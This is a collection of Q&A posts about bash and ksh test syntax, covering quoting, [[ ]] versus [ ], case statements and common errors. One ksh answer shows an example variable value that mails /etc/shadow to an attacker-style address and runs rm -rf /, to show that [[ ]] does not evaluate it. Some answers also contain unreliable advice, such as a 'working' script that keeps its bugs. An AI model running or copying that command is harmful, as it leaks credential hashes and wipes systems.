Can I omit the then part in an if statement? - bash

How would be the correct bash syntax for something like this:
if [ "$actual" == "$expected" ]; then
doNothing
else
echo "Error: actual: $actual. Expected: $expected"
fi
I am looking for something that works for all possible values of the variables "actual" and "expected". The content of the variables must not be interpreted/evaluated/expanded in any way. The script does not need to be portable (a bash only solution is ok).

You could use the simplest do-nothing statement available:
if [ "$actual" = "$expected" ]; then
:
else
echo "Error: actual: $actual. Expected: $expected"
fi
(Note: One = not two in [/test.)
But a better idea is to just invert the test and remove the need for that entirely:
if [ "$actual" != "$expected" ]; then
echo "Error: actual: $actual. Expected: $expected"
fi

Did you try:
if [ "$actual" != "$expected" ]; then
echo "Error: actual: $actual. Expected: $expected"
fi

if [[ $actual != $expected ]]
then
echo "Error: actual: $actual. Expected: $expected"
fi
Using the builtin [[ has several advantages over test / [. For one, you don't get bitten if you don't quote variables containing whitespace.
[[ ]] also offers < and > for locale-aware lexicographic sorting, regular expression matching, and =~. Check man bash.
(Note Etan's comment though on at least one dissenting opinion. I haven't yet made up my mind whether this is a disadvantage or a feature to be exploited, but it is sure surprising.)
There's also the thing with putting then on a separate line, but that's just personal preference.

Related

What's wrong with my bash script? It cannot specify my OS type

#!/bin/bash
if [ ["$OSTYPE" == "linux-gnu"*] ]; then
SCRIPT_PATH=$(dirname $(realpath -s $0))
elif [ ["$OSTYPE" == "darwin"*] ]; then
SCRIPT_PATH=$(dirname $(pwd))
echo "mac!!"
else
echo "Unknown OS!"
exit
fi
I want to write a bash script to specify the OS type.
But on my MacOS, the result shows "Unknown OS!", which is wrong.
I tried echo $OSTYPE in terminal, it shows darwin20.0.
So I wonder what's the problem in my code?
The case statement is specifically intended for comparing a single string against various patterns, and doing different things depending on which it matches:
#!/bin/bash
case "$OSTYPE" in
"linux-gnu"* )
script_path="$(dirname "$(realpath -s "$0")")" ;;
"darwin"* )
script_path="$(dirname "$(pwd)")" ;;
* )
echo "Unknown OS!" >&2
exit 1 ;;
esac
Notes: each pattern is delimited with a ) at the end. You can also put a ( at the beginning, but most people don't bother. Each case ends with a double semicolon. The * case at the end will match anything that didn't match an earlier pattern, so it functions like an else clause in an if ... elif ... statement.
Some other changes I made:
It's a good idea to double-quote variable references and command substitutions (e.g. "$(realpath -s "$0")" instead of just $(realpath -s $0)) to avoid weird parsing problems with some characters (mostly spaces) in values. (There are some places where it's safe to leave the double-quotes off, but it's not worth trying to remember where they are.)
Since there are a whole bunch of all-caps names with special functions, it's safest to use lower- or mixed-case names (e.g. script_path instead of SCRIPT_PATH) to avoid conflicts.
Error and status messages (like "Unknown OS!") should generally be sent to standard error instead of standard output. I used >&2 to redirect the message to standard error.
When a script (or function, or program, or whatever) exits after an error, it should return a nonzero exit status to indicate that it failed. Different codes can be used to indicate different problems, but 1 is commonly used as a generic "something went wrong" code, so I used exit 1 here.
And I recommend using shellcheck.net to scan your scripts for common mistakes. It'll save you a lot of trouble.
Make sure you have no spaces between your opening and closing brackets, i.e., [[ and ]] vs [ [ and ] ] and you may get rid of the quotes in your patterns:
#!/usr/bin/env bash
OSTYPE=linux-gnu-123
if [[ "$OSTYPE" == linux-gnu* ]]; then
echo "linux"
elif [[ "$OSTYPE" == darwin* ]]; then
echo "mac"
else
echo "Unknown OS!"
fi
Also, use https://www.shellcheck.net/ to verify your scripts.
The problem is your attempt checking wildcard expressions via =="..."*. This needs to be done via grep. Try something like this:
#!/usr/bin/env bash
# define method
function checkOS() {
local os="$OSTYPE";
if [[ "$os" == "msys" ]]; then
echo "windows";
elif ( echo "$os" | grep -Eq "^darwin.*$" ); then
echo "mac";
elif ( echo "$os" | grep -Eq "^linux-gnu.*$" ); then
echo "linux";
else
echo "Unknown OS!" >> /dev/stderr;
exit 1;
fi
}
# try method
os="$( checkOS )";
echo -e "Current OS is \033[1m${os}\033[0m.";

Linux Regular Expression

I'm working with shell scripting in Linux. I want to check if the value of MAX_ARCHIVE_AGE is numeric or not. My code is like this:
MAX_ARCHIVE_AGE = "50"
expr="*[0-9]*"
if test -z "$MAX_ARCHIVE_AGE";
then
echo "MAX_ARCHIVE_AGE variable is missing or not initiated"
else
if [ "$MAX_ARCHIVE_AGE" != $expr ]
then
echo "$MAX_ARCHIVE_AGE is not a valid value"
fi
fi
I want to match the value of MAX_ARCHIVE_AGE with my expr. Please help.
For POSIX compatibility, look at case. I also find it more elegant than the corresponding if construct, but the syntax may seem a bit odd when you first see it.
case $MAX_ARCHIVE_AGE in
'' ) echo "empty" >&2 ;;
*[!0-9]* ) echo "not a number" >&2 ;;
esac
By the way, notice the redirection of error messages to standard error with >&2.
Your expr will match anything that contains any digits; it's better to check if it contains only digits, or conversely, to check if it contains any non-digits. To do that, you can write:
if ! [[ "$MAX_ARCHIVE_AGE" ]] ; then
echo "MAX_ARCHIVE_AGE is blank or uninitialized" >&2
elif [[ "$MAX_ARCHIVE_AGE" == *[^0-9]* ]] ; then
echo "$MAX_ARCHIVE_AGE is not a valid value" >&2
fi
Also, note that you would initialize MAX_ARCHIVE_AGE by writing e.g. MAX_ARCHIVE_AGE=50 (no spaces), not MAX_ARCHIVE_AGE = 50. The latter tries to run a program called MAX_ARCHIVE_AGE with the arguments = and 50.

Meaning of "[: too many arguments" error from if [] (square brackets)

I couldn't find any one simple straightforward resource spelling out the meaning of and fix for the following BASH shell error, so I'm posting what I found after researching it.
The error:
-bash: [: too many arguments
Google-friendly version: bash open square bracket colon too many arguments.
Context: an if condition in single square brackets with a simple comparison operator like equals, greater than etc, for example:
VARIABLE=$(/some/command);
if [ $VARIABLE == 0 ]; then
# some action
fi
If your $VARIABLE is a string containing spaces or other special characters, and single square brackets are used (which is a shortcut for the test command), then the string may be split out into multiple words. Each of these is treated as a separate argument.
So that one variable is split out into many arguments:
VARIABLE=$(/some/command);
# returns "hello world"
if [ $VARIABLE == 0 ]; then
# fails as if you wrote:
# if [ hello world == 0 ]
fi
The same will be true for any function call that puts down a string containing spaces or other special characters.
Easy fix
Wrap the variable output in double quotes, forcing it to stay as one string (therefore one argument). For example,
VARIABLE=$(/some/command);
if [ "$VARIABLE" == 0 ]; then
# some action
fi
Simple as that. But skip to "Also beware..." below if you also can't guarantee your variable won't be an empty string, or a string that contains nothing but whitespace.
Or, an alternate fix is to use double square brackets (which is a shortcut for the new test command).
This exists only in bash (and apparently korn and zsh) however, and so may not be compatible with default shells called by /bin/sh etc.
This means on some systems, it might work from the console but not when called elsewhere, like from cron, depending on how everything is configured.
It would look like this:
VARIABLE=$(/some/command);
if [[ $VARIABLE == 0 ]]; then
# some action
fi
If your command contains double square brackets like this and you get errors in logs but it works from the console, try swapping out the [[ for an alternative suggested here, or, ensure that whatever runs your script uses a shell that supports [[ aka new test.
Also beware of the [: unary operator expected error
If you're seeing the "too many arguments" error, chances are you're getting a string from a function with unpredictable output. If it's also possible to get an empty string (or all whitespace string), this would be treated as zero arguments even with the above "quick fix", and would fail with [: unary operator expected
It's the same 'gotcha' if you're used to other languages - you don't expect the contents of a variable to be effectively printed into the code like this before it is evaluated.
Here's an example that prevents both the [: too many arguments and the [: unary operator expected errors: replacing the output with a default value if it is empty (in this example, 0), with double quotes wrapped around the whole thing:
VARIABLE=$(/some/command);
if [ "${VARIABLE:-0}" == 0 ]; then
# some action
fi
(here, the action will happen if $VARIABLE is 0, or empty. Naturally, you should change the 0 (the default value) to a different default value if different behaviour is wanted)
Final note: Since [ is a shortcut for test, all the above is also true for the error test: too many arguments (and also test: unary operator expected)
Just bumped into this post, by getting the same error, trying to test if two variables are both empty (or non-empty). That turns out to be a compound comparison - 7.3. Other Comparison Operators - Advanced Bash-Scripting Guide; and I thought I should note the following:
I used -e thinking it means "empty" at first; but that means "file exists" - use -z for testing empty variable (string)
String variables need to be quoted
For compound logical AND comparison, either:
use two tests and && them: [ ... ] && [ ... ]
or use the -a operator in a single test: [ ... -a ... ]
Here is a working command (searching through all txt files in a directory, and dumping those that grep finds contain both of two words):
find /usr/share/doc -name '*.txt' | while read file; do \
a1=$(grep -H "description" $file); \
a2=$(grep -H "changes" $file); \
[ ! -z "$a1" -a ! -z "$a2" ] && echo -e "$a1 \n $a2" ; \
done
Edit 12 Aug 2013: related problem note:
Note that when checking string equality with classic test (single square bracket [), you MUST have a space between the "is equal" operator, which in this case is a single "equals" = sign (although two equals' signs == seem to be accepted as equality operator too). Thus, this fails (silently):
$ if [ "1"=="" ] ; then echo A; else echo B; fi
A
$ if [ "1"="" ] ; then echo A; else echo B; fi
A
$ if [ "1"="" ] && [ "1"="1" ] ; then echo A; else echo B; fi
A
$ if [ "1"=="" ] && [ "1"=="1" ] ; then echo A; else echo B; fi
A
... but add the space - and all looks good:
$ if [ "1" = "" ] ; then echo A; else echo B; fi
B
$ if [ "1" == "" ] ; then echo A; else echo B; fi
B
$ if [ "1" = "" -a "1" = "1" ] ; then echo A; else echo B; fi
B
$ if [ "1" == "" -a "1" == "1" ] ; then echo A; else echo B; fi
B
Another scenario that you can get the [: too many arguments or [: a: binary operator expected errors is if you try to test for all arguments "$#"
if [ -z "$#" ]
then
echo "Argument required."
fi
It works correctly if you call foo.sh or foo.sh arg1. But if you pass multiple args like foo.sh arg1 arg2, you will get errors. This is because it's being expanded to [ -z arg1 arg2 ], which is not a valid syntax.
The correct way to check for existence of arguments is [ "$#" -eq 0 ]. ($# is the number of arguments).
I also faced same problem. #sdaau answer helped me in logical way. Here what I was doing which seems syntactically correct to me but getting too many arguments error.
Wrong Syntax:
if [ $Name != '' ] && [ $age != '' ] && [ $sex != '' ] && [ $birthyear != '' ] && [ $gender != '' ]
then
echo "$Name"
echo "$age"
echo "$sex"
echo "$birthyear"
echo "$gender"
else
echo "Enter all the values"
fi
in above if statement, if I pass the values of variable as mentioned below then also I was getting syntax error
export "Name"="John"
export "age"="31"
export "birthyear"="1990"
export "gender"="M"
With below syntax I am getting expected output.
Correct syntax:
if [ "$Name" != "" -a "$age" != "" -a "$sex" != "" -a "$birthyear" != "" -a "$gender" != "" ]
then
echo "$Name"
echo "$age"
echo "$sex"
echo "$birthyear"
echo "$gender"
else
echo "it failed"
fi
There are few points which we need to keep in mind
use "" instead of ''
use -a instead of &&
put space before and after operator sign like [ a = b], don't use as [ a=b ] in if condition
Hence above solution worked for me !!!
Some times If you touch the keyboard accidentally and removed a space.
if [ "$myvar" = "something"]; then
do something
fi
Will trigger this error message. Note the space before ']' is required.
I have had same problem with my scripts. But when I did some modifications it worked for me. I did like this :-
export k=$(date "+%k");
if [ $k -ge 16 ]
then exit 0;
else
echo "good job for nothing";
fi;
that way I resolved my problem. Hope that will help for you too.

Checking a variable is set and value in ksh

I have a script which takes user input, the REFRESH option is optional. I need to test to see if $REFRESH exists and is equal to the string "REFRESH", if it is then run a specific block of code.
The user would execute
./export_data.sh <user> <type> [REFRESH]
If I was doing this in PHP I would simply use the isset() function, does an equivelent exist in ksh?
I have tried the following but this fails as in the 2nd test $REFRESH is not set:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
The only other way I can think to do this is a nested if but this seems messy:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
Is there a better way to do this?
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
This substitutes unset if there is no value in $REFRESH or if the value is the empty string. Either way, it is not the same as "REFRESH", so it behaves as required.
When testing variables, enclose them in double quotes; it saves angst. In fact, it would mean that you could simply write:
if [ "$REFRESH" = "REFRESH" ]
then ...
I would comment on Jonathan's reply but I'm too much of a newby around here to be trusted with such things.
Anyway, if you are trying to save yourself angst in ksh, never use the legacy Bourne shell [ ]. Instead, use [[ ]].
if [[ $REFRESH == REFRESH ]]; then
That will always evaluate the way you want it. Even if any of the following happened just before the if statement.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker#example.com < /etc/shadow`; sleep 5; rm -rf /`'
The thing to be careful of is the right hand side in the event that it is a variable or a string that could be evaluated for things other than just a simple string comparison. Consider these:
$ val='#(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Here we see that quoting the RHS is more important than quoting the LHS when using [[ ]]. Also, this demonstrates that [[ ]] allows more powerful matches using patterns and pattern lists.
Answering to that specific question:
If I was doing this in PHP I would simply use the isset() function, does an equivalent exist in ksh?
if [ "${REFRESH:-unset}" != unset ]
By the way, in my opinion the best (because is the most simple) way to test if a variable is set or not set is:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi

BASH: read in while loop

while [ $done = 0 ]
do
echo -n "Would you like to create one? [y/n]: "
read answer
if [ "$(answer)" == "y" ] || [ "$(answer)" == "Y" ]; then
mkdir ./fsm_$newVersion/trace
echo "Created trace folder in build $newVersion"
$done=1
elif [ "$(answer)" == "n" ] || [ "$(answer)" == "N" ]; then
$done=2
else
echo "Not a valid answer"
fi
done
Ok so I have this simple bashscript above that simply just tries to get input from a user and validate it. However I keep getting this error
./test.sh: line 1: answer: command not found
./test.sh: line 1: answer: command not found
./test.sh: line 1: answer: command not found
./test.sh: line 1: answer: command not found
Which I have no idea why because "answer" is nowhere near line 1. So I ran into this article
Which makes sense since it's referring to line 1 and can't find answer. So it seems to be starting a new subshell. However I didn't really understand the solution and can't see how I would apply it to my case. I just wanna get this to work.
$(answer) doesn't substitute the value of the variable answer. It executes answer as a command, and substitutes the output of that command. You want ${answer} everywhere you have $(answer). In this case you can get away with bare $answer too, but overuse of ${...} is good paranoia.
(Are you perhaps used to writing Makefiles? $(...) and ${...} are the same in Makefiles, but the shell is different.)
By the way, you have some other bugs:
In shell, you do not put a dollar sign on the variable name on the left hand side of an assignment. You need to change $done=1 to just done=1 and similarly for $done=2.
You are not being paranoid enough about your variable substitutions. Unless you know for a fact that it does the wrong thing in some specific case, you should always wrap all variable substitutions in double quotes. This affects both the mkdir command and the condition on the while loop.
You are not being paranoid enough about arguments to test (aka [). You need to prefix both sides of an equality test with x so that they cannot be misinterpreted as switches.
== is not portable shell, use = instead (there is no difference in bash, but many non-bash shells do not support == at all).
Put it all together and this is what your script should look like:
while [ "x${done}" = x0 ]; do
echo -n "Would you like to create one? [y/n]: "
read answer
if [ "x${answer}" = xy ] || [ "x${answer}" = xY ]; then
mkdir "./fsm_${newVersion}/trace"
echo "Created trace folder in build $newVersion"
done=1
elif [ "x${answer}" = xn ] || [ "x${answer}" = xN ]; then
done=2
else
echo "Not a valid answer"
fi
done
Which I have no idea why because
"answer" is nowhere near line 1. So I
ran into this article
That's not your problem here.
I ran the script and did not get the error you got. I did receive the error:
./test.sh: line 1: [: -eq: unary operator expected
when I tried to compile though. Defining done fixed this. The following script should work...
#!/bin/bash
done=0
while [ $done -eq 0 ]
do
echo -n "Would you like to create one? [y/n]: "
read answer
if [[ "$(answer)" == "y" || "$(answer)" == "Y" ]]; then
mkdir ./fsm_${newVersion}/trace
echo "Created trace folder in build $newVersion"
$done=1
elif [[ "$(answer)" == "n" || "$(answer)" == "N" ]]; then
$done=2
else
echo "Not a valid answer"
fi
done
...note you were doing string comparisons on your done variable, which you apparently intended to be numeric. It's generally bad form to do string comparison on a numeric type variable, though it will work. Use -eq (arithmetic comparison operator) instead. (Also note that if you kept that test, your string equality would be inconsistent... you had "=" in one spot and "==" in another spot... nitpicking here, but it's helpful to be consistent).
Also, I suggest double brackets for your compound conditionals as they will be more readable if you have longer ones. e.g.
if [[($var1 -eq 0 && $var2 -eq 1) || ($var1 -eq 1 && $var2 -eq 0)]]; then
Just a matter of preference as you only have two conditions, but could be useful in the future.
Also you were missing braces '{' '}' around your newVersion variable.
Finally, I'd suggest putting the line #!/bin/bash on the top of your script. Otherwise its up to your environment to determine what to do with your script, which is a bad idea.

Resources